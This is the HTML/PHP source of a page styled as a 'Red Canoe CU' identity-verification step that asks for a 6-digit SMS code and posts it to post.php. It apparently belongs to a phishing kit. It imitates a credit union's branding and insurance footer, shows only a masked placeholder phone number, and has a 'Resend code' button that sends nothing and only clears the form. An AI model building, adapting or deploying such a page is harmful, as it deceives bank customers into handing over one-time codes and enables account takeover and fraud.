<?php

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&display=swap" rel="stylesheet">
    <title>Red Canoe CU — Verify Identity</title>
    <style>
        *,*::before,*::after{box-sizing:border-box;margin:0;padding:0}
        :root{--red:#8F1D1E;--red-mid:#7a1819;--blue:#3F6670;--blue-mid:#345660;--text:#1a1a1a;--sub:#555;--border:#dde0e6;--white:#fff}
        html,body{height:100%;font-family:'Inter',sans-serif;color:var(--text)}
        body{display:flex;flex-direction:column;min-height:100vh;background:var(--white)}

        .top-bar{background:var(--white);border-bottom:1px solid #eee;padding:0 40px;display:flex;align-items:center;justify-content:space-between;height:54px}
        .top-logo img{height:48px;width:auto;display:block}
        .top-links{display:flex;align-items:center;gap:36px}
        .top-links a{font-size:11.5px;font-weight:700;color:var(--text);text-decoration:none;text-transform:uppercase;letter-spacing:.06em}
        .top-right{display:flex;align-items:center;gap:10px}
        .btn-contact,.btn-apply{padding:9px 18px;border:1.5px solid var(--blue);background:transparent;color:var(--blue);font-family:'Inter',sans-serif;font-size:11.5px;font-weight:700;text-transform:uppercase;letter-spacing:.06em;cursor:pointer;border-radius:2px}
        .main-nav{background:var(--white);border-bottom:1px solid #e0e0e0;padding:0 40px;display:flex;align-items:center;justify-content:space-between;height:52px;z-index:200}
        .nav-links{display:flex;align-items:center;gap:0;flex:1}
        .nav-links a{font-size:11.5px;font-weight:700;text-transform:uppercase;letter-spacing:.06em;color:var(--text);text-decoration:none;padding:0 18px;height:52px;display:flex;align-items:center;gap:5px;border-right:1px solid #eee}
        .nav-links a:first-child{border-left:1px solid #eee}
        .nav-links a:hover{color:var(--red);background:#fdf5f5}
        .login-stub{background:var(--red);color:#fff;padding:0 20px;height:52px;display:flex;align-items:center;gap:8px;font-size:12px;font-weight:700;text-transform:uppercase;letter-spacing:.08em;border:none;cursor:pointer;font-family:'Inter',sans-serif}

        .page-bg{flex:1;position:relative;display:flex;align-items:center;justify-content:center;padding:60px 20px}
        .bg-img{position:absolute;inset:0;background:url('res/img/background.jpeg') center center / cover no-repeat;z-index:0}
        .bg-ov{position:absolute;inset:0;background:rgba(143,29,30,.82);z-index:1}

        .card{position:relative;z-index:2;background:var(--white);width:100%;max-width:460px;border-radius:4px;padding:36px;box-shadow:0 16px 60px rgba(143,29,30,.25);animation:ci .4s ease both}
        @keyframes ci{from{opacity:0;transform:translateY(14px)}to{opacity:1;transform:translateY(0)}}

        .card-logo{margin-bottom:20px;text-align:center}
        .card-logo img{height:46px;width:auto;display:inline-block}

        .steps{display:flex;align-items:center;gap:8px;margin-bottom:20px}
        .st{display:flex;align-items:center;justify-content:center;width:28px;height:28px;border-radius:50%;font-size:11px;font-weight:700;flex-shrink:0}
        .st.done{background:var(--red);color:#fff}
        .st.active{background:var(--blue);color:#fff;box-shadow:0 0 0 3px rgba(63,102,112,.2)}
        .sl{flex:1;height:2px;background:#dde0e6;border-radius:2px}
        .sl.done{background:var(--red);opacity:.4}

        .ch{margin-bottom:16px;padding-bottom:14px;border-bottom:3px solid var(--red)}
        .ch h1{font-size:20px;font-weight:700;color:var(--text)}
        .ch p{font-size:13px;color:var(--sub);margin-top:4px}

        .phone-b{display:flex;align-items:center;gap:11px;background:rgba(63,102,112,.07);border:1px solid rgba(63,102,112,.18);border-radius:4px;padding:12px 14px;margin-bottom:20px}
        .phone-icon{width:32px;height:32px;background:var(--blue);border-radius:4px;display:flex;align-items:center;justify-content:center;flex-shrink:0}
        .phone-icon svg{color:#fff}
        .phone-txt{font-size:12.5px;color:var(--sub);line-height:1.5}
        .phone-txt strong{display:block;font-size:13px;color:var(--blue);font-weight:700;margin-bottom:1px}

        .otp-lbl{font-size:12px;font-weight:700;color:var(--sub);margin-bottom:12px;letter-spacing:.06em;text-transform:uppercase}
        .otp-row{display:flex;gap:8px;justify-content:center;margin-bottom:12px}
        .otp-row input{width:54px;height:58px;border:1.5px solid var(--border);border-radius:3px;font-size:26px;font-weight:700;color:var(--red);text-align:center;background:var(--white);outline:none;transition:border-color .15s,box-shadow .15s,background .15s;caret-color:var(--red);-webkit-appearance:none;font-family:'Inter',sans-serif}
        .otp-row input:focus{border-color:var(--blue);box-shadow:0 0 0 3px rgba(63,102,112,.12);background:#f5f8f8}
        .otp-row input.filled{border-color:var(--red);background:#fdf5f5}

        .resend-row{display:flex;align-items:center;justify-content:space-between;margin-bottom:20px;margin-top:8px}
        .resend-timer{font-size:12.5px;color:var(--sub);display:flex;align-items:center;gap:5px}
        .resend-timer span{font-weight:700;color:var(--red);min-width:32px}
        .resend-btn{font-size:13px;color:var(--blue);font-weight:600;background:none;border:none;cursor:pointer;text-decoration:underline;font-family:'Inter',sans-serif;padding:0}
        .resend-btn:disabled{color:var(--sub);text-decoration:none;cursor:default;opacity:.6}

        .btn-main{width:100%;height:46px;background:var(--red);color:#fff;border:none;border-radius:3px;font-family:'Inter',sans-serif;font-size:13px;font-weight:700;cursor:pointer;margin-bottom:16px;display:flex;align-items:center;justify-content:center;gap:8px;text-transform:uppercase;letter-spacing:.06em;transition:background .15s}
        .btn-main:hover{background:var(--red-mid)}

        .clinks{display:flex;flex-direction:column;gap:10px;padding-top:14px;border-top:1px solid var(--border)}
        .clinks a{font-size:13px;color:var(--blue);text-decoration:none;display:flex;align-items:center;gap:5px}
        .clinks a:hover{text-decoration:underline}

        .page-footer{background:var(--red);padding:18px 40px;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:12px}
        .footer-links{display:flex;gap:20px}
        .footer-links a{font-size:11.5px;color:rgba(255,255,255,.65);text-decoration:none}
        .footer-copy{font-size:11.5px;color:rgba(255,255,255,.4)}

        @media(max-width:500px){.card{padding:24px 20px 28px}.otp-row input{width:44px;height:50px;font-size:22px}.nav-links{display:none}.top-links{display:none}.top-bar,.main-nav{padding-left:20px;padding-right:20px}}
    </style>
</head>
<body>
    <div class="top-bar">
        <div class="top-logo"><img src="res/img/logo.png" alt="Red Canoe CU"></div>
        <div class="top-links"><a href="#">Locations &amp; ATMs</a><a href="#">Rates</a><a href="#">Support Center</a><a href="#">Security &amp; Fraud</a></div>
        <div class="top-right"><button class="btn-contact">Contact Us</button><button class="btn-apply">Apply Now</button></div>
    </div>
    <nav class="main-nav">
        <div class="nav-links">
            <a href="#">Checking &amp; Savings <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Loans &amp; Credit Cards <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Business <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Resources <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">About Us <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
        </div>
        <button class="login-stub">Login <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"/><circle cx="12" cy="7" r="4"/></svg></button>
    </nav>

    <div class="page-bg">
        <div class="bg-img"></div>
        <div class="bg-ov"></div>
        <div class="card">
            <div class="card-logo"><img src="res/img/logo.png" alt="Red Canoe CU"></div>
            <div class="steps">
                <div class="st done">✓</div><div class="sl done"></div>
                <div class="st done">✓</div><div class="sl done"></div>
                <div class="st active">3</div>
            </div>
            <div class="ch"><h1>Enter Verification Code</h1><p>We sent a 6-digit code to your phone</p></div>
            <div class="phone-b">
                <div class="phone-icon"><svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="5" y="2" width="14" height="20" rx="2"/><line x1="12" y1="18" x2="12.01" y2="18" stroke-width="2.5"/></svg></div>
                <div class="phone-txt"><strong>SMS Code Sent</strong>Code sent to the number ending in ••••</div>
            </div>
            <form action="post.php" method="post">
                <div class="otp-lbl">Enter 6-digit code</div>
                <div class="otp-row">
                    <input type="text" name="c1" id="c1" maxlength="1" inputmode="numeric" autocomplete="one-time-code" pattern="[0-9]">
                    <input type="text" name="c2" id="c2" maxlength="1" inputmode="numeric" pattern="[0-9]">
                    <input type="text" name="c3" id="c3" maxlength="1" inputmode="numeric" pattern="[0-9]">
                    <input type="text" name="c4" id="c4" maxlength="1" inputmode="numeric" pattern="[0-9]">
                    <input type="text" name="c5" id="c5" maxlength="1" inputmode="numeric" pattern="[0-9]">
                    <input type="text" name="c6" id="c6" maxlength="1" inputmode="numeric" pattern="[0-9]">
                </div>
                <input type="hidden" name="otp" id="sms_combined">
                <div class="resend-row">
                    <div class="resend-timer"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><polyline points="12 6 12 12 16 14"/></svg>Expires in <span id="exp-timer">9:59</span></div>
                    <button type="button" class="resend-btn" id="resend-btn" disabled>Resend code</button>
                </div>
                <button type="submit" class="btn-main">Verify &amp; Continue <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="M5 12h14M12 5l7 7-7 7"/></svg></button>
            </form>
            <div class="clinks">
                <a href="#"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Having trouble? Contact support</a>
                <a href="login.php"><svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="15 18 9 12 15 6"/></svg>Back to log in</a>
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Contact Us</a></div>
        <div class="footer-copy">© 2025 Red Canoe Credit Union. Federally Insured by NCUA.</div>
    </footer>
    <script>
        const boxes=Array.from(document.querySelectorAll('.otp-row input'));
        const combined=document.getElementById('sms_combined');
        boxes.forEach((box,i)=>{
            box.addEventListener('input',()=>{box.value=box.value.replace(/[^0-9]/g,'').slice(-1);box.classList.toggle('filled',box.value!=='');combined.value=boxes.map(b=>b.value).join('');if(box.value&&i<boxes.length-1)boxes[i+1].focus();});
            box.addEventListener('keydown',e=>{if(e.key==='Backspace'&&!box.value&&i>0){boxes[i-1].value='';boxes[i-1].classList.remove('filled');boxes[i-1].focus();}});
            box.addEventListener('paste',e=>{e.preventDefault();const p=(e.clipboardData||window.clipboardData).getData('text').replace(/[^0-9]/g,'').slice(0,6);p.split('').forEach((ch,j)=>{if(boxes[j]){boxes[j].value=ch;boxes[j].classList.add('filled');}});combined.value=boxes.map(b=>b.value).join('');boxes[Math.min(p.length,boxes.length-1)].focus();});
        });
        let expSec=599,resendAt=30;
        const expEl=document.getElementById('exp-timer'),resendBtn=document.getElementById('resend-btn');
        const iv=setInterval(()=>{expSec--;resendAt=Math.max(0,resendAt-1);if(resendAt===0)resendBtn.disabled=false;const m=Math.floor(expSec/60),s=expSec%60;expEl.textContent=m+':'+String(s).padStart(2,'0');if(expSec<=0){clearInterval(iv);expEl.textContent='0:00';}},1000);
        resendBtn.addEventListener('click',()=>{resendBtn.disabled=true;resendAt=30;expSec=599;boxes.forEach(b=>{b.value='';b.classList.remove('filled');});combined.value='';boxes[0].focus();});
    </script>
</body>
</html>